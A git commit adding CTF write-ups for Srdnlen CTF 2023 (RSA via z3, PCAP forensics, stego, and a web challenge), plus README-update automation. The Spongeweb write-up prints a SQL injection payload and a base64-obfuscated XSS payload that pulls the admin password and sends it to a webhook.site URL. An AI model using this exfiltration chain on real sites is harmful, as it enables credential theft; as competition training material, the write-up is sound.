feat: added Srdnlen CTF 2023

pull/15/head
daffainfo 2023-10-29 23:07:28 +07:00
parent ccbdf77232
commit b3820c096c
17 changed files with 264 additions and 4 deletions

24
.github/readme/update-readme.yaml vendored Normal file
View File

@ -0,0 +1,24 @@
name: Update README
on:
push:
branches: [main]
jobs:
run-script:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Install Python
uses: actions/setup-python@v2
with:
python-version: '3.10'
- name: Run Python script
run: python .github/scripts/update_readme.py
- name: Commit changes
run: |
git config --local user.email "action@github.com"
git config --local user.name "GitHub Action"
git add README.md
git commit -m "docs: update total count"
git push

27
.github/scripts/readme.py vendored Normal file
View File

@ -0,0 +1,27 @@
import os
import re
folder_path = "."
if os.path.exists(folder_path) and os.path.isdir(folder_path):
first_level_subfolders = [name for name in os.listdir(folder_path) if os.path.isdir(os.path.join(folder_path, name))]
total_second_level_subfolder_count = 0
for subfolder in first_level_subfolders:
subfolder_path = os.path.join(folder_path, subfolder)
second_level_subfolders = [name for name in os.listdir(subfolder_path) if os.path.isdir(os.path.join(subfolder_path, name))]
total_second_level_subfolder_count += len(second_level_subfolders)
# Update the README.md file
readme_file = os.path.join(folder_path, "README.md")
if os.path.isfile(readme_file):
with open(readme_file, 'r') as file:
content = file.read()
pattern = r"(There are __)(\d+)(__ CTF writeups that have been made in this repository)"
replacement = f"There are __{total_second_level_subfolder_count}__ CTF writeups that have been made in this repository"
content = re.sub(pattern, replacement, content)
with open(readme_file, 'w') as file:
file.write(content)

View File

@ -5,7 +5,7 @@ This repository shall comprise writeups concerning Capture The Flag (CTF) compet
This is a list of wins we have achieved while participating in several CTF competitions
### Total Writeups
There are __396__ writeups that have been made in this repository
There are __461__ CTF writeups that have been made in this repository
### CTF Competitions
@ -13,12 +13,19 @@ There are __396__ writeups that have been made in this repository
| ---------- | ---- | ------- |
| DeconstruCT.F 2023 | aseng_fans_club | 1 |
| The Odyssey CTF | aseng_fans_club | 1 |
| Pointer Overflow CTF 2023 | HCS | 1 |
| BDSec CTF 2023 | HCS | 1 |
| Pointer Overflow CTF 2023 | Heroes Cyber Security | 1 |
| BDSec CTF 2023 | Heroes Cyber Security | 1 |
| h4ckc0n 2023 | TCP1P | 2 |
| 0xLaugh CTF 2023 | TCP1P | 2 |
| 0byteCTF 2023 | - | 3 |
| N45HTCTF2023 | HCS | 3 |
| N45HTCTF2023 | Heroes Cyber Security | 3 |
### Finalists CTF Competitions
| Event Name |
| ---------- |
| ASEAN Student Contest on Information Security Qualification 2023 |
| Infinity 2023 |
| UNITY 2023 |
### Writeup Competitions
@ -111,6 +118,10 @@ List of CTF events that i have joined before
| Buckeye CTF 2023 | Yes | [Link](/Buckeye%20CTF%202023/) |
| SunshineCTF 2023 | Yes | [Link](/SunshineCTF%202023/) |
| DefCamp Capture the Flag (D-CTF) 2023 Quals | Yes | [Link](/DefCamp%20Capture%20the%20Flag%20(D-CTF)%202023%20Quals/) |
| ASEAN Student Contest on Information Security Qualification 2023 | No | - |
| ASEAN Student Contest on Information Security Semi-Final 2023 | No | - |
| Srdnlen CTF 2023 | Yes | [Link](/Srdnlen%20CTF%202023/) |
| BlueHens CTF 2023 | Yes | [Link](/BlueHens%20CTF%202023/) |
### Local Events
| Event Name | Writeup Available? | Writeup Link |

View File

@ -0,0 +1,9 @@
# Srdnlen CTF 2023
CTF writeup for The Srdnlen CTF 2023. I took part in this CTF competition with the HCS team and secured the 12th place out of 200 teams
| Category | Challenge |
| --- | --- |
| Cryptography | [RSA](/Srdnlen%20CTF%202023/RSA/)
| Web | [Spongeweb](/Srdnlen%20CTF%202023/RSA/)
| Forensic | [stego WarmUp](/Srdnlen%20CTF%202023/RSA/)
| Forensic | [Urban Odissey](/Srdnlen%20CTF%202023/RSA/)

View File

@ -0,0 +1,91 @@
# RSA
> Was this the RSA that Rivest, Shamir and Adleman intended?
## About the Challenge
We were given 2 files, `chall.py` and `output.txt`.
```python
from Crypto.Util.number import getStrongPrime, bytes_to_long
flag = b"srdnlen{?????????????????????????????????????????????}"
nbits = 512
e = 0x10001
r, s, a = [getStrongPrime(nbits, e=e) for _ in range(3)]
rsa = r * s * a
r_s_a = r + s + a
rs_ra_sa = r * s + r * a + s * a
flag_enc = pow(bytes_to_long(flag), e, rsa)
print(f"{flag_enc = }")
print(f"{rsa = }")
print(f"{r_s_a = }")
print(f"{rs_ra_sa = }")
```
And here is the content of `output.txt`
```
flag_enc = 305937389913644124353521541203896228228100287771861952787632778203429862580034717045066213644670515924479613687491939585830621428606122810529254111370561855825281351383357838797183961382377911872273999422767788459585486508291858004728424594963981121345786835801425225173392185659177549728175043848142863492498517163562979790708452839236670186147527086692854011149422111289175223857001786765717200535670927989091747867031255628205430286900180120411568566496158971
rsa = 1119331088426445652049073632117678292260141007738261628482440105143508952011573006283470657320593796414881427458009128790416915606096677817107740886320364054596186677319992672873286602387978243613748908293131886639783664921319212446265594496808690114453810308016153697587841315391448735148763753254685350707203658119669859336306387287389740797917206580085557660754531433662772769500638270585975839989101964379252278187400491260154753705688029268027175812419696619
r_s_a = 31196151692240769482413434933384534303517111654835402273777788758876797999084042595072311282209063135918012172776936704542482749883925277357875720477370629
rs_ra_sa = 323898748110304540012077200920876791739827672187962956210824080913877019158151191999812688624496191774476169968522325251822258958226152196451875769781319538093983441577632922600197853360682904318047081576168252854038158315592880232574502453976052364135250887912532391068132536589210795343836920404808340626031
```
In order to decrypt the flag, we need to find the value of r, s, and a
## How to Solve?
I made a Python script that uses `z3` to find the value of r, s, and a. Here is the full script
```python
from z3 import *
from Crypto.Util.number import long_to_bytes
flag_enc = 305937389913644124353521541203896228228100287771861952787632778203429862580034717045066213644670515924479613687491939585830621428606122810529254111370561855825281351383357838797183961382377911872273999422767788459585486508291858004728424594963981121345786835801425225173392185659177549728175043848142863492498517163562979790708452839236670186147527086692854011149422111289175223857001786765717200535670927989091747867031255628205430286900180120411568566496158971
rsa = 1119331088426445652049073632117678292260141007738261628482440105143508952011573006283470657320593796414881427458009128790416915606096677817107740886320364054596186677319992672873286602387978243613748908293131886639783664921319212446265594496808690114453810308016153697587841315391448735148763753254685350707203658119669859336306387287389740797917206580085557660754531433662772769500638270585975839989101964379252278187400491260154753705688029268027175812419696619
r_s_a = 31196151692240769482413434933384534303517111654835402273777788758876797999084042595072311282209063135918012172776936704542482749883925277357875720477370629
rs_ra_sa = 323898748110304540012077200920876791739827672187962956210824080913877019158151191999812688624496191774476169968522325251822258958226152196451875769781319538093983441577632922600197853360682904318047081576168252854038158315592880232574502453976052364135250887912532391068132536589210795343836920404808340626031
e = 0x10001
r = Int('r')
s = Int('s')
a = Int('a')
eq1 = r * s * a == rsa
eq2 = r + s + a == r_s_a
eq3 = r * s + r * a + s * a == rs_ra_sa
solver = Solver()
solver.add(eq1)
solver.add(eq2)
solver.add(eq3)
if solver.check() == sat:
# Get the solution
model = solver.model()
# Get the values of r, s, and a
r_value = model[r].as_long()
s_value = model[s].as_long()
a_value = model[a].as_long()
phi_rsa = (r_value - 1) * (s_value - 1) * (a_value - 1)
d = pow(e, -1, phi_rsa)
flag_dec = pow(flag_enc, d, r_value * s_value * a_value)
flag_bytes = long_to_bytes(flag_dec)
print(flag_bytes)
else:
print("Nah")
```
Run the program and you will obtain the flag
```
srdnlen{W3lc0m3_t0_srdnlen_ctf_2023_crypt0_ch4ll3ng3s}
```

View File

@ -0,0 +1,58 @@
# Spongeweb
> I really like hacking.
> I really like privacy.
> And I really like spongebob.
> I combined all of them and created an anonymous sharing platform with HTML support. Feel free to share payloads, malware, and stolen credit cards ;).
> Btw it's called spongeweb, but it has nothing to do with [this](https://trollpasta.com/wiki/SpongeWeb).
## About the Challenge
We were given a source code that you can download the source code [here](spongeweb.zip)
## How to Solve?
This is a combination between Cross-Site Scripting (XSS) and SQL Injection (SQLi). The flag was located in the admin password (You can check in the `users` table). Instead of stealing the cookie, we can exploit the website using SQL Injection because of there is no filter in `/admin` endpoint
```python
@app.route('/admin', methods=['GET', 'POST'])
def admin():
if 'username' not in session:
return redirect(url_for('login'))
#view analytics
if 'query' in request.args:
query = request.args.get('query')
try:
cur = get_db().execute("SELECT count(*) FROM {0}".format(query))
except:
return render_template('adminPanel.html') , 500
result = cur.fetchall()
cur.close()
return render_template('adminPanel.html', result=result, param=query)
else:
return render_template('adminPanel.html')
```
And we need to print the flag by using `users union select (select password from users)--` payload. Example:
```
GET /admin?query=users union select (select password from users)--
Host: xxxxx
User-Agent: xxxx
...
```
And because we can't access `/admin` endpoint directly, we need to exploit the website using XSS to trick the admin to execute SQL injection and then send the result into our webhook. Here is the final payload I used to obtain the flag
```
<img src=x onerror=eval(atob("ZmV0Y2goJy9hZG1pbj9xdWVyeT11c2VycyUyMHVuaW9uJTIwc2VsZWN0JTIwJTI4c2VsZWN0JTIwcGFzc3dvcmQlMjBmcm9tJTIwdXNlcnMlMjktLScpLnRoZW4oKHIpPT5yLnRleHQoKSkudGhlbigocik9PndpbmRvdy5sb2NhdGlvbi5ocmVmPSdodHRwczovL3dlYmhvb2suc2l0ZS9iN2M3YjMwYy0xNTM2LTQ2NzItYTE1Yy02NDZiY2QxZWYyOGUvJyt3aW5kb3cuYnRvYShyKSk="))>
```
Create the thread and then report the URL to admin. My webhook:
![webhook](images/webhook.png)
Decode the `Base64` encoded string to obtain the flag
![flag](images/flag.png)
```
srdnlen{XSSS_cr0Ss_S1T3_sP0nG3wEb_SQLi}
```

Binary file not shown.

After

Width:  |  Height:  |  Size: 357 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 362 KiB

Binary file not shown.

View File

@ -0,0 +1,24 @@
# Urban Odissey
> I can't remember the city where I lost my trail. Can you help me find my secret map of the treasure?
## About the Challenge
We were given a `pcapng` file that contains a lot of requests about city (You can download the file [here](urban_odissey.pcapng))
## How to Solve?
When I analyzed the file, there is 1 unusual HTTP request like the image below:
![flag](images/s3cr3t.png)
When I tried to decode the string, the result was the latitude and longitude of a location
![flag](images/location.png)
Now, let's find `Mumbai` inside the `pcapng` file and there is 1 HTTP request that contains that string
![flag](images/flag.png)
Decode the body response using `Base64` encoding
```
srdnlen{1t_w4snt_t00_d1ff1cult_but_Mumb41_1s_c4h0tic_30100}
```

Binary file not shown.

After

Width:  |  Height:  |  Size: 126 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.4 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 146 KiB

Binary file not shown.

View File

@ -0,0 +1,16 @@
# stego WarmUp
> Welcome to the challenges of misc, forensic, and osint! Can you find the flag in this beautiful blank sheet? Good luck!
> Flag must be submitted in srdnlen{} format: wrap the found flag in srdnlen{}
## About the Challenge
We need to find the flag inside this blank photo (You can download the file [here](stegoWarmUp.png))
## How to Solve?
You can use `zsteg` or you can use AperiSolve website to obtain the flag
![flag](images/flag.png)
```
srdnlen{w3lc0m3_t0_0s1nt_f0r3n_mi2c!}
```

Binary file not shown.

After

Width:  |  Height:  |  Size: 123 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.0 KiB